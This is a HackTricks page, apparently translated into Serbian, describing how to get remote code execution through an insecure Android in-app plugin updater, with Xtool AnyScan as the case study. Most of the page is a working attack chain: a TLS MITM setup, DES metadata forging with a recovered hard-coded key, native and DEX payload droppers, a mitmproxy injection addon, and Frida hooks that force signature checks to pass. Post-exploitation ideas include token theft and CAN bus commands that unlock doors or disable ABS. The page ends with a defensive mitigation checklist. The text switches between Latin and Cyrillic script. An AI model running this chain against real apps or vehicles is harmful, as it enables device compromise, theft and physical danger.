Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mnoge Android aplikacije implementiraju sopstvene “plugin” ili “dynamic feature” update kanale umesto da koriste Google Play Store. Kada je implementacija nesigurna, napadač koji može da presretne ili izmeni update saobraćaj može da isporuči proizvoljan native ili Dalvik/ART kod koji će biti učitan unutar procesa aplikacije, što dovodi do potpunog Remote Code Execution (RCE) na handsetu — i u nekim slučajevima i na bilo kojem eksternom uređaju kojim aplikacija upravlja (automobili, IoT, medicinski uređaji …).

Ova stranica sažima realan lanac ranjivosti pronađen u Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) i generalizuje tehniku tako da možete da audit druge Android aplikacije i weaponise pogrešnu konfiguraciju tokom red-team angažmana.


0. Quick triage: does the app have an in‑app updater?

Statički indikatori za traženje u JADX/apktool:

  • Stringovi: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Mrežni endpointi poput /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helperi blizu update putanja (DES/AES/RC4; Base64; JSON/XML packs).
  • Dinamički loaderi: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip putanje koje zapisuju pod app-internal ili external storage, pa zatim odmah učitavaju .so/DEX.

Runtime hooks to confirm:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Identifikacija nesigurnog TLS TrustManager-a

  1. Dekompajlirajte APK pomoću jadx / apktool i pronađite mrežni stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Potražite prilagođeni TrustManager ili HostnameVerifier koji bezpogovorno veruje svakom sertifikatu:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Ako je prisutno, aplikacija će prihvatiti bilo koji TLS certificate → možete pokrenuti transparentni MITM proxy sa self-signed cert:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Ako je TLS pinning primenjen umesto unsafe trust-all logic, pogledajte:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering Update metapodataka

U slučaju AnyScan, svako pokretanje aplikacije pokreće HTTPS GET ka:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Telo odgovora je XML dokument čiji <FileData> чворови сadrže Base64-encoded, DES-ECB encrypted JSON који описuje svaki dostupan plugin.

Tipični koraci:

  1. Pronađite crypto routine (npr. RemoteServiceProxy) i otkrijte:
  • algoritam (DES / AES / RC4 …)
  • način rada (ECB / CBC / GCM …)
  • hard-coded ključ / IV (obično 56‑bit DES или 128‑bit AES konstante)
  1. Ponovo implementirajte funkciju u Pythonu da dešifrujete / šifrujete metapodatke:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):

  • Metadata je često JSON-within-XML ili protobuf; weak ciphers i static keys su uobičajeni.
  • Mnogi updaters prihvataju plain HTTP za stvarni payload download čak i ako metadata dolazi preko HTTPS.
  • Plugins često unzipuju u app-internal storage; neki i dalje koriste external storage ili legacy requestLegacyExternalStorage, što omogućava cross-app tampering.

3. Craft a Malicious Plugin

3.1 Native library path (dlopen/System.load[Library])

  1. Odaberite bilo koji legitimni plugin ZIP i zamenite native library vašim payload-om:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Ažurirajte JSON metapodatke tako da "FileName" : "PWNED.zip" i "DownloadURL" upućuju na vaš HTTP server.
  2. Ponovo šifrujte + Base64‑kodirajte izmenjeni JSON i kopirajte ga nazad u presretnuti XML.

3.2 Dex-based putanja plugina (DexClassLoader)

Neke aplikacije preuzimaju JAR/APK i učitavaju kod preko DexClassLoader. Napravite maliciozni DEX koji se aktivira pri učitavanju:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Ako cilj pozove Class.forName("pwn.Dropper") vaš statički inicijalizator se izvršava; u suprotnom, reflektivno izlistajte učitane klase pomoću Frida i pozovite izvezeni metod.


4. Isporuka Payload-a pomoću mitmproxy

addon.py primer koji neprimetno zamenjuje originalne metapodatke:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Pokrenite jednostavan web server da hostujete zlonamerni ZIP/JAR:

bash
python3 -m http.server 8000 --directory ./payloads

Kada žrtva pokrene aplikaciju она će:

  • preuzeti наш falsifikovani XML preko MITM канала;
  • dešifrovati i parsirati га користећи hard-coded crypto;
  • preuzeti PWNED.zip или plugin.jar → распаковати у приватно складиште;
  • učitati uključeni .so или DEX, odmah izvršavajući наш код са permisijama aplikacije (camera, GPS, Bluetooth, filesystem, …).

Pošto је plugin keširan на диску backdoor opstaje после ponovnog pokretanja и pokreće се svaki пут кад korisnik изабере одговарајућу функцију.


4.1 Zaobilaženje provera potpisa/hash-a (kada su prisutne)

Ako updater validira potpise ili hash-eve, hook-ujte verifikaciju tako da uvek prihvata sadržaj napadača:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Takođe razmotrite stubbing vendor metoda kao što su PluginVerifier.verifySignature(), checkHash(), or short‑circuiting update gating logic in Java or JNI.


5. Ostale površine napada u mehanizmima za ažuriranje (2023–2025)

  • Zip Slip path traversal pri ekstrakciji pluginova: zlonamerne stavke kao ../../../../data/data/<pkg>/files/target mogu prepisati proizvoljne fajlove. Uvek sanitizujte putanje stavki i koristite allow‑liste.
  • Spoljno skladištenje za staging: ako aplikacija upisuje arhivu na external storage pre učitavanja, bilo koja druga aplikacija može da je manipuliše. Scoped Storage ili interno skladište aplikacije to izbegavaju.
  • Cleartext downloads: metadata preko HTTPS ali payload preko HTTP → jednostavna MITM zamena.
  • Nepotpune provere potpisa: poređenje samo jednog hash‑a fajla, a ne cele arhive; nepripajanje potpisa developer ključu; prihvatanje bilo kog RSA ključa prisutnog u arhivi.
  • React Native / Web‑based OTA sadržaj: ako native bridge‑ovi izvršavaju JS iz OTA bez stroge potpisne verifikacije, moguće je izvršenje proizvoljnog koda u kontekstu aplikacije (npr. insecure CodePush‑like tokovi). Obavezno odvojeno potpisivanje update‑ova i stroga verifikacija.

6. Ideje za post‑eksploataciju

  • Ukradite session cookies, OAuth tokene, ili JWT‑ove koje aplikacija čuva.
  • Spustite second‑stage APK i tiho ga instalirajte preko pm install ako je moguće (neke aplikacije već deklarišu REQUEST_INSTALL_PACKAGES).
  • Zlorabite povezani hardware – u AnyScan scenariju možete poslati proizvoljne OBD‑II / CAN bus komande (otključavanje vrata, onemogućavanje ABS‑a, itd.).

Kontrolna lista za detekciju i mitigaciju (blue team)

  • Izbegavajte dynamic code loading i out‑of‑store updates. Prefer Play‑mediated updates. Ako su dynamic plugins neophodni, dizajnirajte ih kao samo‑podatkovne bundle‑ove i držite izvršni kod u base APK‑u.
  • Primorajte ispravan TLS: bez custom trust‑all managera; primenite pinning gde je moguće i hardened network security config koji zabranjuje cleartext saobraćaj.
  • Ne preuzimajte izvršni kod van Google Play. Ako morate, koristite detached update signing (npr. Ed25519/RSA) sa ključem koji drži developer i verifikujte pre učitavanja. Bindujte metadata i payload (dužina, hash, verzija) i u slučaju neuspeha fail closed.
  • Koristite modernu kriptografiju (AES‑GCM) sa per‑message nonces za metadata; uklonite hard‑kodirane ključeve iz klijenata.
  • Potvrdite integritet preuzetih arhiva: verifikujte potpis koji pokriva svaki fajl, ili barem verifikujte manifest SHA‑256 hash‑eva. Odbacite dodatne/neosnovane fajlove.
  • Čuvajte preuzimanja u app‑internal storage (ili scoped storage na Android 10+) i koristite dozvole fajlova koje sprečavaju cross‑app manipulaciju.
  • Branite se od Zip Slip: normalizujte i validirajte zip entry putanje pre ekstrakcije; odbacite apsolutne putanje ili .. segmente.
  • Razmotrite Play “Code Transparency” da omogućite vama i korisnicima da verifikuju da li DEX/native kod koji je isporučen odgovara onome što ste izgradili (dopuna, ali ne zamena APK signing‑a).

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks